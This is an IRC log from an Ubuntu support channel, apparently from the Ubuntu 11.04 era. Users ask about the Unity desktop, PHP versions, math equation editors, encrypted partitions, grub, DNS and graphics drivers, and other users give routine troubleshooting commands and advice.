[17:13] <odinsbane> MitchM: you might be able to build it.
[17:13] <MitchM> odinsbane, is that recommended?
[17:14] <test> can i talk about ubuntu-netbook edition here?
[17:14] <odinsbane> MitchM: I think recommended would be to use a supported version of ubuntu.
[17:14] <iggyology> lacan, i downloaded ubuntu from canonicals website... it loaded with a pretty app icon bar on the left side of the screen
[17:14] <MitchM> odinsbane, 8.04 is LTS, is it no longer supported?
[17:14] <MethedMan> i would like to do my discrete math HW with an equation editor.  i really do not know where to start. openoffice appears not to have the necessary symbols, perhaps i am ignorant of what it has.  would really appreciate assistance.
[17:14] <iggyology> ubuntu stopped the netbook distro
[17:14] <iggyology> they merged everything into one ubuntu
[17:14] <iggyology> there is no more netbook ubuntu distro
[17:14] <zizban> "one ubuntu to rule them all."
[17:15] <iggyology> lol
[17:15] <nosea> is someone still here?
[17:15] <Pici> odinsbane, MitchM: The server release of 8.04 is still supported.
[17:15] <nosea> i need some help.
[17:15] <LAcan> iggyology, so create a working shortcut on the desktop, then add it to the panel
[17:15] <odinsbane> MitchM: my mistake.  Is there a backports for newer php?
[17:15] <iggyology> cool lacan. I'll try that now
[17:15] <nosea> i want to hide the shutdown information .
[17:15] <nemo> MethedMan: how about FireMath?
[17:15] <nosea> what should i do?
[17:15] <wendell> ?
[17:15] <nemo> MethedMan: https://addons.mozilla.org/en-US/firefox/addon/8969/
[17:16] <nemo> MethedMan: there's also mathjax.org
[17:16] <iggyology> awww.... man! There was an error while copying saying that the specified location isn't supported!
[17:16] <nemo> http://www.owlfolio.org/uncat/acceleration-stop-const-distance/ - uses it here
[17:16] <nosea> * Enabling additional executable binary formats binfmt-support [OK]
[17:16] <nosea> * Checking battery state... [OK]
[17:16] <nosea> acpid: exiting
[17:16] <nosea> Broadcast message from root@rays-Aspire-one
[17:16] <nosea>     (unknown) at 6:59...
[17:16] <nosea> System is going down for halt NOW!
[17:16] <FloodBot1> nosea: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[17:16] <FloodBot3> nosea: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[17:16] <frag4now> How can I show windows' bar with "close button", "minimize button", "maximize button" on a natty narwhal? I mean using classic ubuntu at login...
[17:17] <muneeb> hi, after upgradation my bash isn't working as it is supposed to be. after i press TAB it completes dir name and leaves space
[17:17] <nemo> frag4now: if you aren't seeing that stuff, perhaps your window manager isn't running?
[17:17] <odinsbane> MitchM: how new of php do you need.
[17:17] <nemo> frag4now: try classic with no effects at login
[17:17] <frag4now> nemo: nautilus?
[17:17] <nemo> frag4now: might be compiz is crashing
[17:17] <nemo> frag4now: window manager, not file manager :)
[17:17] <LAcan> How do I start an interface with the settings in the interfaces file?
[17:18] <frag4now> nemo: how can I run it again?
[17:18] <frag4now> from shell i mean
[17:18] <nemo> 12:17 < nemo> frag4now: try classic with no effects at login
[17:18] <frag4now> i'm arealy using "no effects" ;)
[17:18] <jgould> How do you get rid of the spashscreen so you can see what your system is doign at boot?
[17:18] <nemo> frag4now: oh... eh. type metacity --replace&
[17:18] <episteme> i have desktop edition installed on my laptop. Are there significant difference between netbook edition and desktop edition that it would be worth it for me to change over?
[17:18] <insanity99> what are peoples opinions on unity?
[17:18] <MitchM> odinsbane, 5.3
[17:18] <nosea> I just want to know how to hide the information when i shutdown the ubuntu system(10.04)..thanks
[17:19] <compdoc`> insanity99, its either a love or hate relationship
[17:19] <frag4now> nemo: ok, thanks. It solved ;)
[17:19] <wabznasm> insanity99: I like the idea, but it is annoyingly buggy
[17:19] <dfgas> updated to 11.04 and now my screen is all messed up. besides /etc/X11/xorg.conf is there any other settings i can delete?
[17:19] <dfgas> so it will auto setup my screen again?
[17:19] <MitchM> What is the "codename" of 8.04LTS ?
[17:19] <nemo> compdoc`: eh. not quite. I like some parts of it, but not enough to put up with it :)
[17:19] <zizban> I love Unity.
[17:19] <nemo> compdoc`: for me it was an. "eh. that's kinda cool, but gets annoying fast" :)
[17:19] <odinsbane> MitchM: hardy?
[17:19] <Sidewinder1> MitchM, Hardy Heron
[17:19] <SANGKEUN> Hardy is the name of 8.04
[17:19] <frag4now> nemo: Does metacity own to compiz?
[17:20] <nemo> frag4now: not sure what you me
[17:20] <nemo> an
[17:20] <MitchM> thanks :)
[17:20] <Sidewinder1> Welks
[17:20] <insanity99> i wasn't liking it at first, then i discovered the keyboard shortcuts, there great, especially if your a vim/emacs user :D
[17:20] <muneeb> how do i reset bash?? it's not working properly
[17:20] <nemo> insanity99: that's not the issue for me.  is more about what it prevents one from doing
[17:20] <iggyology> can someone tell me how to dig up the properties of an icon?
[17:20] <nemo> insanity99: I went on a bit about it in the unity sucks bug, so no point in rehashing here
[17:20] <gedO> Hello. I have one big problem
[17:20] <Slark> how is this diffrent from the one on freenode.net ?
[17:20] <MethedMan> nemo: thanks for the suggestions.  mathjax appears to be for someone putting equations on the internet.
[17:21] <gedO> I can't  mount my encrypted partition!!!!
[17:21] <gedO> Any help?
[17:21] <nemo> MethedMan: I know.
[17:21] <MethedMan> nemo: correct me if i am wrong
[17:21] <nemo> MethedMan: that's why I said firemath first
[17:21] <nemo> did you read that part? :)
[17:21] <baggar11> is there a trick to getting unity to allow you to open a program twice that is docked?
[17:22] <insanity99> though i dont like not having all my open programs on the bottom, its harder to access and see your programs
[17:22] <MethedMan> is there something like firemath that is in openoffice or any other program in the ubuntu repository
[17:22] <iggyology> @gedO : sorry I'm a noob or I'd help you.
[17:22] <Captainkrtek> baggar11, when it is open hit file at the fop
[17:22] <Captainkrtek> top*
[17:22] <nemo> baggar11: yes. irritatingly counterintuitive, but use middle mouse button
[17:22] <wabznasm> baggar11: middle click on it
[17:22] <Captainkrtek> also middle click
[17:22] <episteme> is there another ubuntu help channel??
[17:22] <nemo> baggar11: that shortcut reallly sucks on laptops, where it isn't exactly easy to hit both buttons on the touchpad
[17:22] <jgould> is there a channel for kenel issues?
[17:22] <baggar11> ah, thanks guys
[17:22] <Captainkrtek> episteme, depends, what;s the issue?
[17:22] <nemo> baggar11: I usually resort to spawning the new app w/o using the dock
[17:22] <MethedMan> nemo: exactly what i needed -> firemath
[17:22] <jdahm> who is the idiot that packages firefox on ubuntu?
[17:22] <baggar11> will give it a shot
[17:22] <gedO> Guys, how to recover my encryption  phase???
[17:22] <iggyology> I'm trying to find someone who knows the way to open an icon's properties
[17:23] <Pici> nemo: Please use http://paste.ubuntu.com , don't paste your information to the bot.
[17:23] <nemo> Pici: huh?
[17:23] <Pici> nemo: sorry, mistabbed.
[17:23] <Pici> nosea: Please use http://paste.ubuntu.com , don't paste your information to the bot.
[17:23] <InHisName> ubuntu 11.04 fell asleep and wont wake up.  How do I poke it with a virtual stick to wake up ?
[17:23] <quellhorst> anyone see systems you build with vmbuilder run fine, but when it comes time to restart them, the virtual disk files are missing?
[17:24] <baggar11> yep, middle click seems to work, thanks again
[17:24] <iggyology> anyone good at fixing broken icons?
[17:24] <nosea> I just don't know how to use it.
[17:24] <odinsbane> MitchM: you might be able to get away with d/loading the .deb's and installing from those.  http://snippets.notmyidea.org/2009/12/13/install-php-5-3-apache-on-ubuntu-9-10-using-dotdeb-repositories-via-apt-get/
[17:25] <dios_mio> In keyboard layouts preferences there is the option where you can pick whether you want the new windows to get the active window's layout. This option is broken because whatever you pick it is always the rule that new windows get the active windows's layout.
[17:25] <Pici> nosea: paste your text at that link, press submit and then provide us with the URL of the resulting page.
[17:25] <Valdrin> can anyone to tell me how to do when i resume my pc from lock screen or screen saver to ask me for password ?
[17:25] <jdahm> iggyology: install more?
[17:25] <nosea> ok
[17:25] <insanity99> i just installed indicator-sysmonitor, how do i get it on panel?
[17:25] <ubuntu_> Hello
[17:25] <MnCC> where can i get keyboard layouts ?
[17:26] <MitchM> odinsbane, i'll give it a try thanks
[17:26] <MitchM> :)
[17:26] <iggyology> jdahm? what?
[17:26] <ubuntu_> I have problem with mounting encryped volume. Can someone help me?
[17:26] <trap22> when i try to ./configure in conky, it says "Can't locate your X11 installation"
[17:26] <jdahm> iggyology: to fix icons, just remove and reinstall packages
[17:26] <jdahm> usually that fixes things
[17:26] <Pici> trap22: Conky is in the Ubuntu repositories, do you have a particular reason to install it from source?
[17:26] <Valdrin> hwo to do to ask for password after lock screen ?
[17:27] <iggyology> jdahm: I'll try that.... again :)
[17:27] <odinsbane> MitchM: dpkg will give you dependancy errors before it installs so it shouldn't be too risky.
[17:27] <gedO> Guys, who will help me with encrypted partition mounting?
[17:27] <DraZoro> Valdrin: Allocate screensaver there are options there to enable password and duration it takes for the desktop to auto lock.
[17:27] <MitchM> odinsbane, yeah - failed, lots of lib* dependecies
[17:27] <trap22> Pici: thanks i just did. apt-get, it worked this time
[17:28] <DraZoro> Valdrin: Depending on which version and window manager you are using. If you are using Unity go to application lens "Super + A" and type screensaver.
[17:29] <odinsbane> MitchM: did you try the link, and add the debian repo stable?
[17:29] <tripelb> I know there
[17:30] <LAcan> how do I mount a cd to E: ?? Ubuntu Software Centre wants the CD on "E:"?
[17:30] <zizban> LAcan it should it do it automatically.
[17:30] <odinsbane> MitchM: It could be possible to build it even if you can't get a package to work, but probably the reason there isn't the package is because there isn't the dependancy.
[17:30] <LAcan> zizban, well it mounts it to /media/cdrom
[17:30] <Tomfoolary> is there an open source version of skype that'll actually run on ubuntu 10.10?
[17:30] <LAcan> zizban, but software centre wants it on "E:\"
[17:31] <zizban> LAcan, is this a Windows CD?
[17:31] <LAcan> zizban, no ubuntu
[17:31] <llutz> Tomfoolary: theres skype from skype.com for linux, nothing open
[17:31] <zizban> LAcan and you are in Ubuntu?
[17:31] <LAcan> zizban, yup
[17:31] <polo> #ciao
[17:31] <LAcan> zizban, im trying to add the CD as a sofwtare source so I can reinstall network manager applet
[17:31] <tripelb> I know there's a better place to say this, maybe later. It's a suggestion for ubuntu. windows has the same problem. - Say there is a "copying" process happening. The only choice is continue (donothing) or abort (cancel). I think that aPAUSE would be helpful. Might just need to use the resources for something else for a while and put the copy on the back-burner. That is all.
[17:31] <zizban> LAcan, that's weird. When I put in a CD it appears om the desktop.
[17:32] <odinsbane> MitchM: this page seems to be more closely related. http://serverfault.com/questions/36040/installing-php-5-3-on-ubuntu-server
[17:32] <iggyology> some please tell me how to access icon properties
[17:32] <nosea> ok.
[17:32] <bcoop> I've googled and searched gconf-editor and compizconfig settings, but I have not found any answer: how can I change the Super+T = Open trash folder keyboard shortcut in Unity?  It replaced my terminal opening shortcut (which is still in the configuration but doesn't function)
[17:32] <nosea> http://paste.ubuntu.com/603345/
[17:32] <g_> uhm, hi (Again!)
[17:32] <LAcan> zizban, ya, it does that... but this is ubuntu software centre
[17:32] <Tomfoolary> llutz, I tried downloading it and opening in the ubuntu software centre and it came up with an error, am I doing something wrong?
[17:32] <tripelb> zlZBAN THAT'S Normal
[17:32] <zizban> LAcan what sudo apt-get install gnome-network-manager doesn't work?
[17:32] <g_> hi, i have a completely broken build system, and can't complile anything, would anyone be able to help me through this? for starters: gcc: error trying to exec 'cc1': execvp: No such file or directory
[17:32] <LAcan> zizban, no network connection
[17:32] <dios_mio> In keyboard layouts preferences there is the option where you can pick whether you want the new windows to get the active window's layout. This option is broken because whatever you pick it is always the rule that new windows get the active windows's layout. ....????
[17:32] <llutz> Tomfoolary: no idea, i don't use skype
[17:32] <zizban> LAcan, OOOOOH
[17:33] <Tomfoolary> llutz, *sobs*
[17:33] <nosea> http://paste.ubuntu.com/603345/
[17:33] <LAcan> usr13, left me without a net connect... i unnstalled the manager and now i cant get the cards to connect to the internet...
[17:33] <iggyology> can someone pm me and tell me how to access icon properties
[17:33] <fredrik_> is there any known graphic bugs with 11.04? I did a clean install on my brothers computor and his screen wont "light up" If you look closley you can se some of the background image and I can se the mouse.. Its like the screen has no backlight. Everything workes on 10.10 (liveCD) and if I connect it to the TV it works...
[17:33] <nosea> some one can help me?
[17:33] <llutz> Tomfoolary: https://help.ubuntu.com/community/Skype
[17:33] <iggyology> I'm trying to get an icon to open the app it's associated with
[17:33] <ricorx7> g_: use pastebin or something to paste your code for review
[17:34] <Souperman> iggyology, icon?
[17:34] <nosea> please give me some advice.
[17:34] <Tomfoolary> llutz, love you man
[17:34] <nosea> http://paste.ubuntu.com/603345/
[17:34] <iggyology> souperman, yes
[17:34] <iggyology> the launcher icon
[17:34] <nosea> http://paste.ubuntu.com/603345/
[17:34] <spankbot> where can I find solid Ubuntu themes?
[17:34] <LAcan> usr13, man, i cant get any network connections now that i uninstalled the network manager... grrrrr
[17:34] <bcoop> Anyone?  How can the Unity keyboard shortcut for 'Open Trash Folder' <Super>T be configured?  There doesn't appear to be an entry for it in gconf
[17:35] <LAcan> bcoop, theres a keyboard shortcuts option in the system menu
[17:35] <dios_mio> nobody address the bug i reported!! --> https://bugs.launchpad.net/ubuntu/+bug/776451
[17:35] <Souperman> iggyology, you left clic it go to propierties and edit the string
[17:35] <ubottu> Ubuntu bug 776451 in Ubuntu "keyboard layouts - will the new window get the active window's layout" [Undecided,New]
[17:35] <spankbot> .
[17:35] <usr13> LAcan: ifconfig
[17:35] <nosea> http://paste.ubuntu.com/603345/
[17:35] <iggyology> left click?
[17:35] <LAcan> usr13, ya i tried that
[17:35] <bcoop> LAcan, that option is missing all the 'advanced' unity shortcuts.  It doesn't have an entry for 'open trash folder'
[17:35] <usr13> LAcan: YOu must have worte the config file wrong.
[17:35] <Souperman> right right, iggyology just get the contextual menu
[17:35] <g_> ricorx7: that's the only error i get
[17:36] <LAcan> usr13, ya and now my only option is reinstalling ubuntu to get the damn network manager back
[17:36] <nosea> I want to hide the shutdown information:http://paste.ubuntu.com/603345/
[17:36] <usr13> LAcan: ifconfig eth0 192.168.1.25 ; route add default gw 192.168.1.1
[17:36] <usr13> LAcan: no it's not.
[17:36] <MethedMan> nemo: how can i convert the text from firemath to latex?
[17:36] <LAcan> usr13, they wont connect to their essid
[17:36] <iggyology> Souperman, there is no menu item for properties when i right click on the launcher icon
[17:37] <tripelb> Here's was my problem: and my question. Yesterday I said, how do I copy a DVD to my hard drive. I want to return the original and also be able to play it here. :: I was told, copy the files. When I looked at it I see --> two folders and no files!? [audio_ts and video_ts) <-- I am getting the copy (method: saw the cd one my desktop. clicked on it. it offered to copy it. Done, err still doing. --- What is on this DVD anyway? Is this norm
[17:37] <tripelb> al? Why dont I see files? How does a DVD work anyway? ---> Obviously (I think) a referral to info would be great. THANKS
[17:37] <iggyology> LAcan, can you tell me where the icon properties are again?
[17:37] <Souperman> oh, launcher, you are using unity rite, sorry iggyology i never used it
[17:38] <iggyology> Souperman, I don't know what unity is
[17:38] <iggyology> should I get rid of it?
[17:38] <nemo> MethedMan: you mean from MathML to LaTeX? :)
[17:38] <nemo> MethedMan: and why would you want to do that?
[17:38] <kale> i have circular dependencies, how do i solve those?
[17:39] <kale> i am running lucid and want to do a dist upgrade
[17:39] <bluegoon_> hi guys
[17:39] <gedO> Guys, HELP
[17:39] <bluegoon_> I keep losing wifi connectivity with a netbook over wifi
[17:39] <nemo> MethedMan: I expect most tools out there have the exact opposite goal
[17:39] <gedO> How I can mount encripted partiton?
[17:39] <Souperman> iggyology, you are using ubuntu 11.04? if yes it comes whit the new unity interface, you can use the standard old interface loging out and choosing "classic desktop" at the log in menu
[17:39] <MethedMan> nemo: exactly.  why?  b/c i want to jump on the latex bandwagon so i can feel self-important (joking).  what do you mean exact opposite goal?
[17:39] <nemo> MethedMan: latex is presentational, not semantic
[17:40] <bluegoon_> Would updating to 11.04 update my wifi drivers?  My netbook keeps freaking disconnecting
[17:40] <nemo> MethedMan: mathml can be rendered presentationally
[17:40] <nemo> MethedMan: there are plenty of tools to render latex to mathml, but the other way around is rarely desired
[17:40] <demon> can someone help me enabling nvidia driver on Ubuntu UE2.7?
[17:40] <iggyology> Souperman, oh heck... I'm reading an article right now about it!!!   Man, I had no idea I was using something that hadn't been debugged yet!
[17:40] <nemo> since mathml can be rendered just as well as latex, only has actual semantic content
[17:40] <MethedMan> nemo: i see. so why would anyone care to use latex
[17:40] <nemo> MethedMan: used to be what people used
[17:40] <jgould> How do you get rid of the splash screen so you can see what your system is doing at boot
[17:40] <nemo> MethedMan: and if you are generating equations, there were editors to support it
[17:40] <iggyology> Souperman, here's the article: http://mybroadband.co.za/news/columns/20018-Ubuntu-Unity-not-all-that-unifying.html
[17:41] <bluegoon_> Is there an 11.4 netbook edition?
[17:41] <nemo> MethedMan: if you have no problem generating the equations though, seems silly to output to latex, since mathml can be rendered just as well
[17:41] <bluegoon_> I am having trouble with my netbook wifi
[17:41] <Pici> !une | bluegoon_
[17:41] <ubottu> bluegoon_: Starting with Ubuntu 11.04, the Ubuntu Netbook Edition is no longer being offered as a separate install as Unity is now standard for all Ubuntu desktop installs.
[17:41] <Souperman> iggyology, thanks
[17:41] <nemo> but has actual useful content
[17:41] <gedO> GUYS!!! HELP!!!
[17:41] <dios_mio> nobody address the bug i reported!! --> https://bugs.launchpad.net/ubuntu/+bug/776451
[17:41] <ubottu> Ubuntu bug 776451 in Ubuntu "keyboard layouts - will the new window get the active window's layout" [Undecided,New]
[17:41] <gedO> I can't log in to my PC
[17:41] <Pici> !helpme | gedO
[17:41] <ubottu> gedO: Avoid following your questions with a trail of "Please, help me", "Can nobody help me?", "I really need this!", and so on. This just contributes to making the channel unreadable. If you are not answered, ask again later; but see also !repeat and !attitude
[17:41] <MnCC> is there a way to hide wireless networks ?
[17:41] <MethedMan> nemo: there were editors to support it?  what do you mean?  sorry for needing a history lesson.
[17:41] <nemo> MethedMan: or if you are more used to latex, you would find it easier to generate, that way. but if you are, you would not have asked for an editor
[17:41] <nemo> MethedMan: http://www.mathweb.org/wiki/LaTeX
[17:42] <nemo> http://www.mathweb.org/wiki/MathML
[17:42] <genii-around> MnCC: Tell the WAP not to b roadcast it's SSID?
[17:42] <FloodBot1> nemo: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[17:42] <nemo> oh. come on. floodbot. that was so not flooding OR using enter as punctuation
[17:42] <gedO> it gives me error : Could not update ICEauthority file
[17:42] <nemo> stupid floodbot... can't handle fast typing apparently, or pasting of URLs. one of the two
[17:42] <MethedMan> nemo: is there something like mathml that is built-in for openoffice, emacs, vim, or any other program that does not require a web browser?
[17:43] <nemo> MethedMan: mathml is just XML. it can be rendered in anything that can parse it
[17:43] <bluegoon_> i can go on IRC, i can update etc, but DNS not opening web pages.
[17:43] <nemo> it does not require a web browser
[17:43] <iggyology> Souperman, I'm in IRC through unity's website the room is #ayatana
[17:43] <nemo> MethedMan: I know I have to repeat myself. but you aren't reading what I link you to. please read those 2 links
[17:43] <dios_mio> nobody addresses the bug i reported!! --> https://bugs.launchpad.net/ubuntu/+bug/776451
[17:43] <ubottu> Ubuntu bug 776451 in Ubuntu "keyboard layouts - will the new window get the active window's layout" [Undecided,New]
[17:43] <Cassini> can someone help me getting my nVidia 9500 GT card working? I am in 11.04,  the current drivers are loaded but are not being used. Log error is "Failed to initialize the NVIDIA GPU at PCI:1:0:0". In lshw it lists the PCI as "Bus Info: pci@0000:01:00.0"
[17:43] <nemo> I hate retyping stuff. esp in here where it spams the channel and gets me yelled at
[17:43] <MnCC> genii-around, not what i meant .. i need to hide all wireless networks of my neighbourhood ..there are over 40+ networks ..
[17:43] <Morten_> Hi, how is it possible to share an external storage harddrive on a network? I have tried using nautilus to start the sharing, and I can see the external storage on the network, but cannot access it?
[17:44] <iggyology> join/ #ayatana
[17:44] <demon> Cassini. i think i have similar problem
[17:44] <iggyology> join /#ayatana
[17:44] <Souperman> interesting iggyology, but i dont really use unity, and being a xubuntu fan i think i never will :D
[17:44] <iggyology> Souperman, what's xubuntu like? will it run good on a netbook?
[17:45] <genii-around> gedO: sudo chown $(whoami):$(whoami) .ICEauthority
[17:45] <Cassini> dunno if that might be it on the pci addy... if 0000:01:0.0 is pci 0:1:0 or what... any ideas?
[17:45] <gedO> @genii-around: problem is that I can't do this
[17:46] <MethedMan> nemo: i understand that mathml is xml, just not sure how to use that in another program.  also, i am reading http://www.mathweb.org/wiki/LaTeX and am not really sure where to begin.  some of the english links hit documents in german.
[17:46] <nemo> MethedMan: the 2nd link. read THAT one. before asking more questions
[17:46] <nemo> MethedMan: the one that explains MathML
[17:46] <jrib> genii-around: neat syntax:  chown user: file  is equivalent to  chown user:userlogingroup file
[17:46] <Dark_Star1> hi guys.. does one need to install a samba server to be able to connect to another client?
[17:46] <bluegoon_> my dns isnt resolving!
[17:46] <bluegoon_> Help me! Oh my word, my DNS does not resolve@!
[17:46] <Dark_Star1> another server*
[17:46] <Souperman> iggyology, very probably, its quite fast, but i thing lubuntu is the fastest of *buntu family
[17:46] <delac> can anyone confirm that something happened (got updated) to Startup Disk Creator and it now always asks for password? Seems to affect both Maveric abd Natty.
[17:47] <genii-around> gedO: ctrl-alt-F1 should bring you to console login on tty1, where you should be able to do this, then to alt-F7 back to gdm and restart it
[17:47] <genii-around> jrib: Ah, thanks
[17:47] <Cassini> the only way I can get ubuntu 11.04 to boot is into recovery low graphics mode... at least 10.04 would boot.. I am about to give up again...
[17:48] <robin0800> Cassini, have you tried classic?
[17:48] <designup> anybody knows why my ubuntu 11.04 doesnt "see" my Wireless Network, which is amplified by a FRITZ WLAN repeater n/g ?? ANY other wlan is detected perfectly!! need some help please.... :(
[17:48] <MethedMan> nemo: i do not see anything about mathml at http://www.mathweb.org/wiki/LaTeX
[17:49] <ubuntu> hy i have problem with install ubuntu - im now on live system, instalation finish with error
[17:49] <ubuntu> error install grub
[17:49] <ubuntu> why i can do now ?
[17:49] <Cassini> if I choose the standard kernel it locks up at the splash screen. Never get to the login screen.
[17:49] <MethedMan> nemo: this is my 2nd or 3rd week on IRC.  i appreciate your patience.
[17:50] <nemo> 12:42 < nemo> http://www.mathweb.org/wiki/MathML
[17:50] <nemo> MethedMan: I typed that just immediately after the other link, FFS
[17:50] <Guest96883> my battery seems to be lasting longer, something changed since yesterday?
[17:50] <nemo> ok. I need to stop spamming this channel w/ irrelevant stuff
[17:50] <bluegoon_> Guys, any reason why ubuntu would just lose DNS every now and then?
[17:50] <fredrik_> I have this bug https://bugs.launchpad.net/ubuntu/+source/gnome-power-manager/+bug/772785 on my computor and the suggested fix workes. But How can I make this stick after reboot?
[17:50] <ubottu> Ubuntu bug 772785 in gnome-power-manager (Ubuntu) "Aser eMachines E527 - LCD brightness - 0% after update to 11.04 (dup-of: 765438)" [Undecided,New]
[17:50] <ubottu> Ubuntu bug 765438 in linux (Ubuntu) "On startup, the backlight is off on laptop" [Undecided,Confirmed]
[17:51] <demon> why does the  nvidia driver is not used by X? Error: No kernel named "nvidia" found. help!!!
[17:51] <fredrik_> uberfrau, I know. The suggested fix in my link works (set the brightnes to full) but how can I make this stick after reboot?
[17:52] <bretzel> Hi, ( no, google doesn't satisfy refined search:too much results) -->  I need to know how ncurses/libncursesxx have been built, with what options: MOUSE VERSION2 "-enable-ext-mouse  (wheel event support? ) ;  -enable-ext-colors ? (for 256 xterm colors support ???? I really need to know
[17:52] <bluegoon_> how do you monitor DNS on ubuntu?
[17:53] <bluegoon_> test
[17:54] <deno> hi there
[17:54] <deno> guys do you know a package better than the default one for gnome to take multiple screenshots?
[17:54] <hall> hi all. i've failed in my attempts to google this: is there a "known problems" page somewhere for unity? it does not work at all on my setup (thinkpad/external monitor)
[17:54] <LAcan> only in ubuntu does it take 3 days to set a static IP address. yeesh.
[17:54] <eternicode> 3 days?  really?
[17:54] <iggyology> Does anyone use Gnome desktop?
[17:54] <test> @bluegoon what?
[17:55] <fredrik_> anyone knows how i can make this suggestion stick at reboot? https://bugs.launchpad.net/ubuntu/+source/gnome-power-manager/+bug/772785
[17:55] <iggyology> or is everyone a XFCE fan?
[17:55] <ubottu> Ubuntu bug 772785 in gnome-power-manager (Ubuntu) "Aser eMachines E527 - LCD brightness - 0% after update to 11.04 (dup-of: 765438)" [Undecided,New]
[17:55] <ubottu> Ubuntu bug 765438 in linux (Ubuntu) "On startup, the backlight is off on laptop" [Undecided,Confirmed]
[17:55] <gedO> Guys, I can't mount my encrypted partiton
[17:55] <gedO> how I can do this??
[17:55] <Janusman> LAcan: what? I did it in under a minute =)
[17:55] <eternicode> iggyology, does it have to be either/or? :/
[17:55] <iggyology> eternicode, you tell me what you like
[17:55] <iggyology> talk to me man!
[17:56] <eternicode> iggyology, I use kdm (leftover from my KDE days) with a custom .xinitrc that launches Compiz as my window manager.  No fancy "desktop environment" for me.
[17:56] <eternicode> gnome-do for app launching, awn dock for app management, conky for system stats.
[17:57] <iggyology> So, eternicode, please help me to understand if your approach is superior to a fancy desktop
[17:57] <iggyology> or if you're just settled in a comfort zone
[17:58] <eternicode> it's very much a comfort zone :)
[17:58] <eternicode> but I would say it's lighter than having all the DE libraries etc loaded on every startup
[17:58] <iggyology> eternicode, So do you know if there is a desktop environment, say that your friends use and are happy with? Something tried and true?
[17:59] <iggyology> I see
[17:59] <webben> Is anyone else having problems with PECL/PEAR failing to find packages on Ubuntu Lucid?
[17:59] <iggyology> lighter is good for a netbook
[17:59] <webben> Got this problem on 2 VMs now.
[17:59] <usr13> Where are packages downloaded by apt-get  (when using download-only)?
[17:59] <usr13> or... how do I find a particular deb file?
[17:59] <llutz> usr13: /var/cache/apt/archives
[17:59] <eternicode> LXDE, Gnome, and KDE are all tried and true.  In order of "heaviness", I would rank them KDE, Gnome, and LXDE, but that's very subjective
[18:00] <eternicode> great thing about linux is there's all the highly interchangeable pieces and parts.
[18:01] <iggyology> eternicode, So Gnome has been around for a while, but maybe the problem is the new "unity" thing?
[18:01] <aneeshep> @eternicode: I still love gnome. Wht is ur choice?
[18:01] <iggyology> also, do you know about XFCE?
[18:02] <aneeshep> @eternicode: What is the problem with unity?
[18:02] <eternicode> I haven't tried Unity, nor am I going to.
[18:02] <ActionParsnip> etotheipi: just log onto gnome classic if you dislike unity
[18:02] <eternicode> not because I don't like it, but because I like what I have.
[18:02] <eternicode> aneeshep, I use a custom collection of programs, no DE.
[18:02] <eternicode> *no stock DE
[18:03] <jimmybrite> Is there a reason why grub breaks my mbr? I tried instaling 11.04 like 6 times already, and I can't boot into linix or win7 at all, so I have to re-install 10.10 to fix my mbr so I can at least use my system.
[18:03] <eternicode> XFCE I think is slightly more heavy than LXDE, but it's good as well.
[18:04] <ActionParsnip> jimmybrite: boot to liveCD and reinstall grub2
[18:04] <iggyology> I see why people fall into the poisoning embrace of Windows
[18:04] <iggyology> This is nuts
[18:04] <jimmybrite> I tried that, but Im sort of a noob with grub, grub-install said something like aufs needed?
[18:04] <iggyology> It's so much work to fart around with Linux
[18:04] <iggyology> I've spent 2 days fudging with this stuff
[18:05] <eternicode> only 2 days? :P
[18:05] <iggyology> exactly eternicode!!!
[18:05] <eternicode> wait till you've spent 4 years :P
[18:05] <iggyology> I have a life I want to get back to!
[18:05] <iggyology> lol
[18:05] <jimmybrite> I tried a clean install from cd, an upgrade from cd, an upgrade from 10.10 installed on my hd, and al of them meses up grub, this is insane, I've never had that happen before
[18:05] <eternicode> granted, only year 1 was spent getting everything perfect... the other three have been small tweaks along the way
[18:05] <iggyology> oh my freakin god!
[18:06] <duende> hi
[18:06] <duende> I have a problem with video in 11.04 can anybody helpme??
[18:07] <eternicode> anyway, my question: my internal wireless card seems to be stuck in promiscuous mode, as all traffic on my network is hitting my machine, whether or not it's the destination/source.  I've tried "ifconfig wlan0 -promisc" to no avail.  Any ideas?
[18:07] <PType1> There is any problem with Ristretto in Xubuntu 11.04?
[18:07] <iggyology> I mean it's fun talking with people.. I understand why there are Linux groups :)
[18:07] <crystal-cola> yeh
[18:08] <jimmybrite> i'll be back later, when i'm trying to install 11.04 AGAIN, it'll be more helpful if I give you guys the exact error messages, it's something like device/partition not found
[18:08] <ActionParsnip> iggyology: what re you having issues with exactly?
[18:09] <ActionParsnip> jimmybrite: remeber to MD5 tes the ISO
[18:09] <PType1> sideshow in Ristretto (Xubuntu 11.04) is not working, right?
[18:09] <duende> <PType1> to me dont like these programa ristretto
[18:09] <fredrik_> Ive got the "backlight is off" bug on my laptop. I tried to put the solution (setpci -s 00:02.0 F4.B=20) into rc.local but it wont work. I guess I need to do sudo.. .how can I solve this so the command is runned as sudo everytime a reboot?
[18:09] <ActionParsnip> jimmybrite: and check the CD for defects
[18:09] <ActionParsnip> iggyology: have you tried other distributions too?
[18:09] <jimmybrite> <ActionParsnip> yeah but that also happens when I do a dist-upgrade dude
[18:09] <Dr_Willis> fredrik_:  rc.local is ran as root. You Did put it befor the exit command in rc.local?
[18:09] <iggyology> my launcher icon is broken. I can only open Firefox directly with the command window (Alt+F2)
[18:09] <ActionParsnip> jimmybrite: sounds about right, I always clean install
[18:09] <iggyology> ActionParsnip,
[18:10] <jimmybrite> bur yeah, md5ing the cd is a MUST, which I don't do all the time,
[18:10] <fredrik_> Dr_Willis, Yepp I did. Though the screen light up for a second it turns of when I have loged in
[18:10] <ActionParsnip> iggyology: tried making a shortcut on the desktop?
[18:10] <ActionParsnip> jimmybrite: may be the cause of the issues
[18:10] <Dr_Willis> fredrik_:  try the command from your users login. does it work?
[18:10] <fredrik_> yepp if I do a sudo setpci -s 00:02.0 F4.B=20 the screen lights up as it should
[18:11] <nosea> http://paste.ubuntu.com/603345/
[18:11] <jimmybrite> yeah, it's grub2 and dual booting on my machine that seems to mess up, I tried to keep the old bootloader or installer the maintainers package, and both installed the same grub with deep white fonts? if that makes sense
[18:11] <nosea> http://paste.ubuntu.com/603345/
[18:11] <iggyology> ActionParsnip, I tried, but I can't place icons on the desktop
[18:11] <Dr_Willis> fredrik_:  you could add it to your X startup stuff then. Sounds like X may be some how resetting the  thing when it loads.
[18:11] <iggyology> it's not a valid location
[18:11] <jimmybrite> anyhow, i'll be back later, because i'm giving out symptoms blindly..
